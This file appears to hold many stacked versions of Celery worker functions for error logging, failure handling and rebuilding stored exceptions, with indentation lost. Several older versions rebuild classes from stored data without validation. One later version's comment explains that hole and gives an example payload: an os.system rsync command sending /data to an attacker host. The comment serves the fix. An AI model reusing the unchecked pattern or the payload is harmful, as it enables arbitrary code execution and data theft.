def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if exc:
if not isinstance(exc, BaseException):
exc_module = exc.get('exc_module')
if exc_module is None:
cls = create_exception_cls(from_utf8(exc['exc_type']),
__name__)
else:
exc_module = from_utf8(exc_module)
exc_type = from_utf8(exc['exc_type'])
try:
# Load module and find exception class in that
cls = sys.modules[exc_module]
# The type can contain qualified name with parent classes
for name in exc_type.split('.'):
cls = getattr(cls, name)
except (KeyError, AttributeError):
cls = create_exception_cls(exc_type,
celery.exceptions.__name__)
exc_msg = exc['exc_message']
try:
if isinstance(exc_msg, (tuple, list)):
exc = cls(*exc_msg)
else:
exc = cls(exc_msg)
except Exception as err: # noqa
exc = Exception(f'{cls}({exc_msg})')
if self.serializer in EXCEPTION_ABLE_CODECS:
exc = get_pickled_exception(exc)
return exc
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if exc:
if not isinstance(exc, BaseException):
exc_module = exc.get('exc_module')
if exc_module is None:
cls = create_exception_cls(from_utf8(exc['exc_type']),
__name__)
else:
exc_module = from_utf8(exc_module)
exc_type = from_utf8(exc['exc_type'])
try:
cls = getattr(sys.modules[exc_module], exc_type)
except (KeyError, AttributeError):
cls = create_exception_cls(exc_type,
celery.exceptions.__name__)
exc_msg = exc['exc_message']
try:
if isinstance(exc_msg, tuple):
exc = cls(*exc_msg)
else:
exc = cls(exc_msg)
except Exception as err: # noqa
exc = Exception('{}({})'.format(cls, exc_msg))
if self.serializer in EXCEPTION_ABLE_CODECS:
exc = get_pickled_exception(exc)
return exc
def _log_error(self, task, req, einfo):
eobj = einfo.exception = get_pickled_exception(einfo.exception)
exception, traceback, exc_info, sargs, skwargs = (
safe_repr(eobj),
safe_str(einfo.traceback),
einfo.exc_info,
safe_repr(req.args),
safe_repr(req.kwargs),
)
policy = get_log_policy(task, einfo, eobj)
context = {
"hostname": req.hostname,
"id": req.id,
"name": task.name,
"exc": exception,
"traceback": traceback,
"args": sargs,
"kwargs": skwargs,
"description": policy.description,
"internal": einfo.internal,
}
logger.log(
policy.severity,
policy.format.strip(),
context,
exc_info=exc_info if policy.traceback else None,
extra={"data": context},
)
def _log_error(self, einfo):
einfo.exception = get_pickled_exception(einfo.exception)
exception, traceback, exc_info, internal, sargs, skwargs = (
safe_repr(einfo.exception),
safe_str(einfo.traceback),
einfo.exc_info,
einfo.internal,
safe_repr(self.args),
safe_repr(self.kwargs),
)
format = self.error_msg
description = 'raised exception'
severity = logging.ERROR
self.send_event(
'task-failed',
exception=exception,
traceback=traceback,
)
if internal:
if isinstance(einfo.exception, MemoryError):
raise MemoryError('Process got: %s' % (einfo.exception, ))
if isinstance(einfo.exception, Ignore):
format = self.ignored_msg
description = 'ignored'
severity = logging.INFO
exc_info = None
self.acknowledge()
else:
format = self.internal_error_msg
description = 'INTERNAL ERROR'
severity = logging.CRITICAL
context = {
'hostname': self.hostname,
'id': self.id,
'name': self.name,
'exc': exception,
'traceback': traceback,
'args': sargs,
'kwargs': skwargs,
'description': description,
}
logger.log(severity,
format.strip(),
context,
exc_info=exc_info,
extra={
'data': {
'id': self.id,
'name': self.name,
'args': sargs,
'kwargs': skwargs,
'hostname': self.hostname,
'internal': internal
}
})
self.task.send_error_email(context, einfo.exception)
def _log_error(self, task, req, einfo):
eobj = einfo.exception = get_pickled_exception(einfo.exception)
exception, traceback, exc_info, sargs, skwargs = (
safe_repr(eobj),
safe_str(einfo.traceback),
einfo.exc_info,
safe_repr(req.args),
safe_repr(req.kwargs),
)
policy = get_log_policy(task, einfo, eobj)
context = {
'hostname': req.hostname,
'id': req.id,
'name': task.name,
'exc': exception,
'traceback': traceback,
'args': sargs,
'kwargs': skwargs,
'description': policy.description,
'internal': einfo.internal,
}
logger.log(policy.severity, policy.format.strip(), context,
exc_info=exc_info if policy.traceback else None,
extra={'data': context})
def _log_error(self, task, req, einfo):
eobj = einfo.exception = get_pickled_exception(einfo.exception)
exception, traceback, exc_info, sargs, skwargs = (
safe_repr(eobj),
safe_str(einfo.traceback),
einfo.exc_info,
safe_repr(req.args),
safe_repr(req.kwargs),
)
policy = get_log_policy(task, einfo, eobj)
context = {
"hostname": req.hostname,
"id": req.id,
"name": get_task_name(req, task.name),
"exc": exception,
"traceback": traceback,
"args": sargs,
"kwargs": skwargs,
"description": policy.description,
"internal": einfo.internal,
}
logger.log(
policy.severity,
policy.format.strip(),
context,
exc_info=exc_info if policy.traceback else None,
extra={"data": context},
)
def _log_error(self, task, req, einfo):
eobj = einfo.exception = get_pickled_exception(einfo.exception)
exception, traceback, exc_info, sargs, skwargs = (
safe_repr(eobj),
safe_str(einfo.traceback),
einfo.exc_info,
safe_repr(req.args),
safe_repr(req.kwargs),
)
policy = get_log_policy(task, einfo, eobj)
context = {
'hostname': req.hostname,
'id': req.id,
'name': task.name,
'exc': exception,
'traceback': traceback,
'args': sargs,
'kwargs': skwargs,
'description': policy.description,
'internal': einfo.internal,
}
logger.log(policy.severity,
policy.format.strip(),
context,
exc_info=exc_info if policy.traceback else None,
extra={'data': context})
if policy.mail:
task.send_error_email(context, einfo.exception)
def _log_error(self, einfo, send_failed_event=True):
einfo.exception = get_pickled_exception(einfo.exception)
exception, traceback, exc_info, internal, sargs, skwargs = (
safe_repr(einfo.exception),
safe_str(einfo.traceback),
einfo.exc_info,
einfo.internal,
safe_repr(self.args),
safe_repr(self.kwargs),
)
format = self.error_msg
description = 'raised exception'
severity = logging.ERROR
if send_failed_event:
self.send_event(
'task-failed', exception=exception, traceback=traceback,
)
if internal:
if isinstance(einfo.exception, MemoryError):
raise MemoryError('Process got: %s' % (einfo.exception, ))
elif isinstance(einfo.exception, Reject):
format = self.rejected_msg
description = 'rejected'
severity = logging.WARN
exc_info = einfo
self.reject(requeue=einfo.exception.requeue)
elif isinstance(einfo.exception, Ignore):
format = self.ignored_msg
description = 'ignored'
severity = logging.INFO
exc_info = None
self.acknowledge()
else:
format = self.internal_error_msg
description = 'INTERNAL ERROR'
severity = logging.CRITICAL
context = {
'hostname': self.hostname,
'id': self.id,
'name': self.name,
'exc': exception,
'traceback': traceback,
'args': sargs,
'kwargs': skwargs,
'description': description,
}
logger.log(severity, format.strip(), context,
exc_info=exc_info,
extra={'data': {'id': self.id,
'name': self.name,
'args': sargs,
'kwargs': skwargs,
'hostname': self.hostname,
'internal': internal}})
self.task.send_error_email(context, einfo.exception)
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if self.serializer in EXCEPTION_ABLE_CODECS:
return get_pickled_exception(exc)
elif not isinstance(exc, BaseException):
return create_exception_cls(from_utf8(exc['exc_type']),
__name__)(exc['exc_message'])
return exc
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if not isinstance(exc, BaseException):
exc = create_exception_cls(
from_utf8(exc['exc_type']), __name__)(exc['exc_message'])
if self.serializer in EXCEPTION_ABLE_CODECS:
exc = get_pickled_exception(exc)
return exc
def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
"""Handler called if the task raised an exception."""
task_ready(self)
if isinstance(exc_info.exception, MemoryError):
raise MemoryError("Process got: %s" % (exc_info.exception, ))
elif isinstance(exc_info.exception, Reject):
return self.reject(requeue=exc_info.exception.requeue)
elif isinstance(exc_info.exception, Ignore):
return self.acknowledge()
exc = exc_info.exception
if isinstance(exc, Retry):
return self.on_retry(exc_info)
# (acks_late) acknowledge after result stored.
requeue = False
if self.task.acks_late:
reject = self.task.reject_on_worker_lost and isinstance(
exc, WorkerLostError)
ack = self.task.acks_on_failure_or_timeout
if reject:
requeue = True
self.reject(requeue=requeue)
send_failed_event = False
elif ack:
self.acknowledge()
else:
# supporting the behaviour where a task failed and
# need to be removed from prefetched local queue
self.reject(requeue=False)
# These are special cases where the process would not have had time
# to write the result.
if isinstance(exc, Terminated):
self._announce_revoked("terminated", True, string(exc), False)
send_failed_event = False # already sent revoked event
elif not requeue and (isinstance(exc, WorkerLostError)
or not return_ok):
# only mark as failure if task has not been requeued
self.task.backend.mark_as_failure(
self.id,
exc,
request=self._context,
store_result=self.store_errors,
)
if send_failed_event:
self.send_event(
"task-failed",
exception=safe_repr(get_pickled_exception(exc_info.exception)),
traceback=exc_info.traceback,
)
if not return_ok:
error("Task handler raised error: %r",
exc,
exc_info=exc_info.exc_info)
def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
"""Handler called if the task raised an exception."""
task_ready(self)
if isinstance(exc_info.exception, MemoryError):
raise MemoryError('Process got: %s' % (exc_info.exception,))
elif isinstance(exc_info.exception, Reject):
return self.reject(requeue=exc_info.exception.requeue)
elif isinstance(exc_info.exception, Ignore):
return self.acknowledge()
exc = exc_info.exception
if isinstance(exc, Retry):
return self.on_retry(exc_info)
# These are special cases where the process wouldn't've had
# time to write the result.
if isinstance(exc, Terminated):
self._announce_revoked(
'terminated', True, string(exc), False)
send_failed_event = False # already sent revoked event
elif isinstance(exc, WorkerLostError) or not return_ok:
self.task.backend.mark_as_failure(
self.id, exc, request=self._context,
store_result=self.store_errors,
)
# (acks_late) acknowledge after result stored.
if self.task.acks_late:
reject = (
self.task.reject_on_worker_lost and
isinstance(exc, WorkerLostError)
)
ack = self.task.acks_on_failure_or_timeout
if reject:
requeue = not self.delivery_info.get('redelivered')
self.reject(requeue=requeue)
send_failed_event = False
elif ack:
self.acknowledge()
if send_failed_event:
self.send_event(
'task-failed',
exception=safe_repr(get_pickled_exception(exc_info.exception)),
traceback=exc_info.traceback,
)
if not return_ok:
error('Task handler raised error: %r', exc,
exc_info=exc_info.exc_info)
def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
"""Handler called if the task raised an exception."""
task_ready(self)
if isinstance(exc_info.exception, MemoryError):
raise MemoryError('Process got: %s' % (exc_info.exception, ))
elif isinstance(exc_info.exception, Reject):
return self.reject(requeue=exc_info.exception.requeue)
elif isinstance(exc_info.exception, Ignore):
return self.acknowledge()
exc = exc_info.exception
if isinstance(exc, Retry):
return self.on_retry(exc_info)
# These are special cases where the process wouldn't've had
# time to write the result.
if isinstance(exc, Terminated):
self._announce_revoked('terminated', True, string(exc), False)
send_failed_event = False # already sent revoked event
elif isinstance(exc, WorkerLostError) or not return_ok:
self.task.backend.mark_as_failure(
self.id,
exc,
request=self._context,
store_result=self.store_errors,
)
# (acks_late) acknowledge after result stored.
if self.task.acks_late:
reject = (self.task.reject_on_worker_lost
and isinstance(exc, WorkerLostError))
ack = self.task.acks_on_failure_or_timeout
if reject:
requeue = not self.delivery_info.get('redelivered')
self.reject(requeue=requeue)
send_failed_event = False
elif ack:
self.acknowledge()
if send_failed_event:
self.send_event(
'task-failed',
exception=safe_repr(get_pickled_exception(exc_info.exception)),
traceback=exc_info.traceback,
)
if not return_ok:
error('Task handler raised error: %r',
exc,
exc_info=exc_info.exc_info)
def _log_error(self, einfo):
einfo.exception = get_pickled_exception(einfo.exception)
exception, traceback, exc_info, internal, sargs, skwargs = (
safe_repr(einfo.exception),
safe_str(einfo.traceback),
einfo.exc_info,
einfo.internal,
safe_repr(self.args),
safe_repr(self.kwargs),
)
format = self.error_msg
description = "raised exception"
severity = logging.ERROR
self.send_event("task-failed", exception=exception, traceback=traceback)
if internal:
format = self.internal_error_msg
description = "INTERNAL ERROR"
severity = logging.CRITICAL
context = {
"hostname": self.hostname,
"id": self.id,
"name": self.name,
"exc": exception,
"traceback": traceback,
"args": sargs,
"kwargs": skwargs,
"description": description,
}
logger.log(
severity,
format.strip(),
context,
exc_info=exc_info,
extra={
"data": {
"id": self.id,
"name": self.name,
"args": sargs,
"kwargs": skwargs,
"hostname": self.hostname,
"internal": internal,
}
},
)
self.task.send_error_email(context, einfo.exception)
def _log_error(self, einfo):
einfo.exception = get_pickled_exception(einfo.exception)
exception, traceback, exc_info, internal, sargs, skwargs = (
safe_repr(einfo.exception),
safe_str(einfo.traceback),
einfo.exc_info,
einfo.internal,
safe_repr(self.args),
safe_repr(self.kwargs),
)
format = self.error_msg
description = 'raised exception'
severity = logging.ERROR
self.send_event('task-failed',
exception=exception,
traceback=traceback)
if internal:
format = self.internal_error_msg
description = 'INTERNAL ERROR'
severity = logging.CRITICAL
context = {
'hostname': self.hostname,
'id': self.id,
'name': self.name,
'exc': exception,
'traceback': traceback,
'args': sargs,
'kwargs': skwargs,
'description': description,
}
logger.log(severity,
format.strip(),
context,
exc_info=exc_info,
extra={
'data': {
'id': self.id,
'name': self.name,
'args': sargs,
'kwargs': skwargs,
'hostname': self.hostname,
'internal': internal
}
})
self.task.send_error_email(context, einfo.exception)
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if exc:
if not isinstance(exc, BaseException):
exc_module = exc.get('exc_module')
if exc_module is None:
cls = create_exception_cls(
from_utf8(exc['exc_type']), __name__)
else:
exc_module = from_utf8(exc_module)
exc_type = from_utf8(exc['exc_type'])
cls = getattr(sys.modules[exc_module], exc_type)
exc_msg = exc['exc_message']
exc = cls(*exc_msg if isinstance(exc_msg, tuple) else exc_msg)
if self.serializer in EXCEPTION_ABLE_CODECS:
exc = get_pickled_exception(exc)
return exc
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if exc:
if not isinstance(exc, BaseException):
exc_module = exc.get('exc_module')
if exc_module is None:
cls = create_exception_cls(from_utf8(exc['exc_type']),
__name__)
else:
exc_module = from_utf8(exc_module)
exc_type = from_utf8(exc['exc_type'])
cls = getattr(sys.modules[exc_module], exc_type)
exc_msg = exc['exc_message']
exc = cls(*exc_msg if isinstance(exc_msg, tuple) else exc_msg)
if self.serializer in EXCEPTION_ABLE_CODECS:
exc = get_pickled_exception(exc)
return exc
def _log_error(self, einfo):
einfo.exception = get_pickled_exception(einfo.exception)
exception, traceback, exc_info, internal, sargs, skwargs = (
safe_repr(einfo.exception),
safe_str(einfo.traceback),
einfo.exc_info,
einfo.internal,
safe_repr(self.args),
safe_repr(self.kwargs),
)
format = self.error_msg
description = 'raised exception'
severity = logging.ERROR
self.send_event('task-failed',
exception=exception,
traceback=traceback)
if internal:
format = self.internal_error_msg
description = 'INTERNAL ERROR'
severity = logging.CRITICAL
context = {
'hostname': self.hostname,
'id': self.id,
'name': self.name,
'exc': exception,
'traceback': traceback,
'args': sargs,
'kwargs': skwargs,
'description': description,
}
logger.log(severity, format.strip(), context,
exc_info=exc_info,
extra={'data': {'id': self.id,
'name': self.name,
'args': sargs,
'kwargs': skwargs,
'hostname': self.hostname,
'internal': internal}})
self.task.send_error_email(context, einfo.exception)
def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
"""Handler called if the task raised an exception."""
task_ready(self)
if isinstance(exc_info.exception, MemoryError):
raise MemoryError("Process got: %s" % (exc_info.exception,))
elif isinstance(exc_info.exception, Reject):
return self.reject(requeue=exc_info.exception.requeue)
elif isinstance(exc_info.exception, Ignore):
return self.acknowledge()
exc = exc_info.exception
if isinstance(exc, Retry):
return self.on_retry(exc_info)
# These are special cases where the process would not have had
# time to write the result.
if self.store_errors:
if isinstance(exc, Terminated):
self._announce_revoked("terminated", True, string(exc), False)
send_failed_event = False # already sent revoked event
elif isinstance(exc, WorkerLostError) or not return_ok:
self.task.backend.mark_as_failure(self.id, exc, request=self)
# (acks_late) acknowledge after result stored.
if self.task.acks_late:
self.acknowledge()
if send_failed_event:
self.send_event(
"task-failed",
exception=safe_repr(get_pickled_exception(exc_info.exception)),
traceback=exc_info.traceback,
)
if not return_ok:
error("Task handler raised error: %r", exc, exc_info=exc_info.exc_info)
def _log_error(self, einfo, send_failed_event=True):
einfo.exception = get_pickled_exception(einfo.exception)
eobj = einfo.exception
exception, traceback, exc_info, internal, sargs, skwargs = (
safe_repr(eobj),
safe_str(einfo.traceback),
einfo.exc_info,
einfo.internal,
safe_repr(self.args),
safe_repr(self.kwargs),
)
task = self.task
if task.throws and isinstance(eobj, task.throws):
do_send_mail, severity, exc_info, description = (
False,
logging.INFO,
None,
'raised expected',
)
else:
do_send_mail, severity, description = (
True,
logging.ERROR,
'raised unexpected',
)
format = self.error_msg
if internal:
if isinstance(einfo.exception, MemoryError):
raise MemoryError('Process got: %s' % (einfo.exception, ))
elif isinstance(einfo.exception, Reject):
format = self.rejected_msg
description = 'rejected'
severity = logging.WARN
send_failed_event = False
self.reject(requeue=einfo.exception.requeue)
elif isinstance(einfo.exception, Ignore):
format = self.ignored_msg
description = 'ignored'
severity = logging.INFO
exc_info = None
send_failed_event = False
self.acknowledge()
else:
format = self.internal_error_msg
description = 'INTERNAL ERROR'
severity = logging.CRITICAL
if send_failed_event:
self.send_event(
'task-failed',
exception=exception,
traceback=traceback,
)
context = {
'hostname': self.hostname,
'id': self.id,
'name': self.name,
'exc': exception,
'traceback': traceback,
'args': sargs,
'kwargs': skwargs,
'description': description,
}
logger.log(severity,
format.strip(),
context,
exc_info=exc_info,
extra={
'data': {
'id': self.id,
'name': self.name,
'args': sargs,
'kwargs': skwargs,
'hostname': self.hostname,
'internal': internal
}
})
if do_send_mail:
task.send_error_email(context, einfo.exception)
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if app_or_default().conf["CELERY_RESULT_SERIALIZER"] in ("pickle", "yaml"):
return get_pickled_exception(exc)
return create_exception_cls(exc["exc_type"].encode("utf-8"), sys.modules[__name__])
def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
"""Handler called if the task raised an exception."""
task_ready(self)
exc = exc_info.exception
is_terminated = isinstance(exc, Terminated)
if is_terminated:
# If the task was terminated and the task was not cancelled due
# to a connection loss, it is revoked.
# We always cancel the tasks inside the master process.
# If the request was cancelled, it was not revoked and there's
# nothing to be done.
# According to the comment below, we need to check if the task
# is already revoked and if it wasn't, we should announce that
# it was.
if not self._already_cancelled and not self._already_revoked:
# This is a special case where the process
# would not have had time to write the result.
self._announce_revoked('terminated', True, str(exc), False)
return
elif isinstance(exc, MemoryError):
raise MemoryError(f'Process got: {exc}')
elif isinstance(exc, Reject):
return self.reject(requeue=exc.requeue)
elif isinstance(exc, Ignore):
return self.acknowledge()
elif isinstance(exc, Retry):
return self.on_retry(exc_info)
# (acks_late) acknowledge after result stored.
requeue = False
is_worker_lost = isinstance(exc, WorkerLostError)
if self.task.acks_late:
reject = (self.task.reject_on_worker_lost and is_worker_lost)
ack = self.task.acks_on_failure_or_timeout
if reject:
requeue = True
self.reject(requeue=requeue)
send_failed_event = False
elif ack:
self.acknowledge()
else:
# supporting the behaviour where a task failed and
# need to be removed from prefetched local queue
self.reject(requeue=False)
# This is a special case where the process would not have had time
# to write the result.
if not requeue and (is_worker_lost or not return_ok):
# only mark as failure if task has not been requeued
self.task.backend.mark_as_failure(
self.id,
exc,
request=self._context,
store_result=self.store_errors,
)
signals.task_failure.send(sender=self.task,
task_id=self.id,
exception=exc,
args=self.args,
kwargs=self.kwargs,
traceback=exc_info.traceback,
einfo=exc_info)
if send_failed_event:
self.send_event(
'task-failed',
exception=safe_repr(get_pickled_exception(exc_info.exception)),
traceback=exc_info.traceback,
)
if not return_ok:
error('Task handler raised error: %r',
exc,
exc_info=exc_info.exc_info)
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
return get_pickled_exception(exc)
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if (self.app.conf["CELERY_RESULT_SERIALIZER"] in ("pickle", "yaml")):
return get_pickled_exception(exc)
return create_exception_cls(exc["exc_type"].encode("utf-8"),
sys.modules[__name__])
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if self.serializer in EXCEPTION_ABLE_CODECS:
return get_pickled_exception(exc)
return create_exception_cls(from_utf8(exc['exc_type']),
sys.modules[__name__])(exc['exc_message'])
def _log_error(self, einfo, send_failed_event=True):
einfo.exception = get_pickled_exception(einfo.exception)
eobj = einfo.exception
exception, traceback, exc_info, internal, sargs, skwargs = (
safe_repr(eobj),
safe_str(einfo.traceback),
einfo.exc_info,
einfo.internal,
safe_repr(self.args),
safe_repr(self.kwargs),
)
task = self.task
if task.throws and isinstance(eobj, task.throws):
severity, exc_info = logging.INFO, None
description = "raised expected"
else:
severity = logging.ERROR
description = "raised unexpected"
format = self.error_msg
if send_failed_event:
self.send_event("task-failed", exception=exception, traceback=traceback)
if internal:
if isinstance(einfo.exception, MemoryError):
raise MemoryError("Process got: %s" % (einfo.exception,))
elif isinstance(einfo.exception, Reject):
format = self.rejected_msg
description = "rejected"
severity = logging.WARN
exc_info = einfo
self.reject(requeue=einfo.exception.requeue)
elif isinstance(einfo.exception, Ignore):
format = self.ignored_msg
description = "ignored"
severity = logging.INFO
exc_info = None
self.acknowledge()
else:
format = self.internal_error_msg
description = "INTERNAL ERROR"
severity = logging.CRITICAL
context = {
"hostname": self.hostname,
"id": self.id,
"name": self.name,
"exc": exception,
"traceback": traceback,
"args": sargs,
"kwargs": skwargs,
"description": description,
}
logger.log(
severity,
format.strip(),
context,
exc_info=exc_info,
extra={
"data": {
"id": self.id,
"name": self.name,
"args": sargs,
"kwargs": skwargs,
"hostname": self.hostname,
"internal": internal,
}
},
)
task.send_error_email(context, einfo.exception)
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if not exc:
return None
elif isinstance(exc, BaseException):
if self.serializer in EXCEPTION_ABLE_CODECS:
exc = get_pickled_exception(exc)
return exc
elif not isinstance(exc, dict):
try:
exc = dict(exc)
except TypeError as e:
raise TypeError(f"If the stored exception isn't an "
f"instance of "
f"BaseException, it must be a dictionary.\n"
f"Instead got: {exc}") from e
exc_module = exc.get('exc_module')
try:
exc_type = exc['exc_type']
except KeyError as e:
raise ValueError("Exception information must include "
"the exception type") from e
if exc_module is None:
cls = create_exception_cls(
exc_type, __name__)
else:
try:
# Load module and find exception class in that
cls = sys.modules[exc_module]
# The type can contain qualified name with parent classes
for name in exc_type.split('.'):
cls = getattr(cls, name)
except (KeyError, AttributeError):
cls = create_exception_cls(exc_type,
celery.exceptions.__name__)
exc_msg = exc.get('exc_message', '')
# If the recreated exception type isn't indeed an exception,
# this is a security issue. Without the condition below, an attacker
# could exploit a stored command vulnerability to execute arbitrary
# python code such as:
# os.system("rsync /data [email protected]:~/data")
# The attacker sets the task's result to a failure in the result
# backend with the os as the module, the system function as the
# exception type and the payload
# rsync /data [email protected]:~/data
# as the exception arguments like so:
# {
# "exc_module": "os",
# "exc_type": "system",
# "exc_message": "rsync /data [email protected]:~/data"
# }
if not isinstance(cls, type) or not issubclass(cls, BaseException):
fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'
raise SecurityError(
f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}")
# XXX: Without verifying `cls` is actually an exception class,
# an attacker could execute arbitrary python code.
# cls could be anything, even eval().
try:
if isinstance(exc_msg, (tuple, list)):
exc = cls(*exc_msg)
else:
exc = cls(exc_msg)
except Exception as err: # noqa
exc = Exception(f'{cls}({exc_msg})')
return exc
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
if self.serializer in EXCEPTION_ABLE_CODECS:
return get_pickled_exception(exc)
return create_exception_cls(from_utf8(exc['exc_type']),
sys.modules[__name__])(exc['exc_message'])
def exception_to_python(self, exc):
"""Convert serialized exception to Python exception."""
return get_pickled_exception(exc)
def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
"""Handler called if the task raised an exception."""
task_ready(self)
exc = exc_info.exception
is_terminated = isinstance(exc, Terminated)
if is_terminated:
# If the message no longer has a connection and the worker
# is terminated, we aborted it.
# Otherwise, it is revoked.
if self.message.channel.connection and not self._already_revoked:
# This is a special case where the process
# would not have had time to write the result.
self._announce_revoked('terminated', True, str(exc), False)
elif not self._already_cancelled:
self._announce_cancelled()
return
elif isinstance(exc, MemoryError):
raise MemoryError(f'Process got: {exc}')
elif isinstance(exc, Reject):
return self.reject(requeue=exc.requeue)
elif isinstance(exc, Ignore):
return self.acknowledge()
elif isinstance(exc, Retry):
return self.on_retry(exc_info)
# (acks_late) acknowledge after result stored.
requeue = False
is_worker_lost = isinstance(exc, WorkerLostError)
if self.task.acks_late:
reject = (self.task.reject_on_worker_lost and is_worker_lost)
ack = self.task.acks_on_failure_or_timeout
if reject:
requeue = True
self.reject(requeue=requeue)
send_failed_event = False
elif ack:
self.acknowledge()
else:
# supporting the behaviour where a task failed and
# need to be removed from prefetched local queue
self.reject(requeue=False)
# This is a special case where the process would not have had time
# to write the result.
if not requeue and (is_worker_lost or not return_ok):
# only mark as failure if task has not been requeued
self.task.backend.mark_as_failure(
self.id,
exc,
request=self._context,
store_result=self.store_errors,
)
if send_failed_event:
self.send_event(
'task-failed',
exception=safe_repr(get_pickled_exception(exc_info.exception)),
traceback=exc_info.traceback,
)
if not return_ok:
error('Task handler raised error: %r',
exc,
exc_info=exc_info.exc_info)
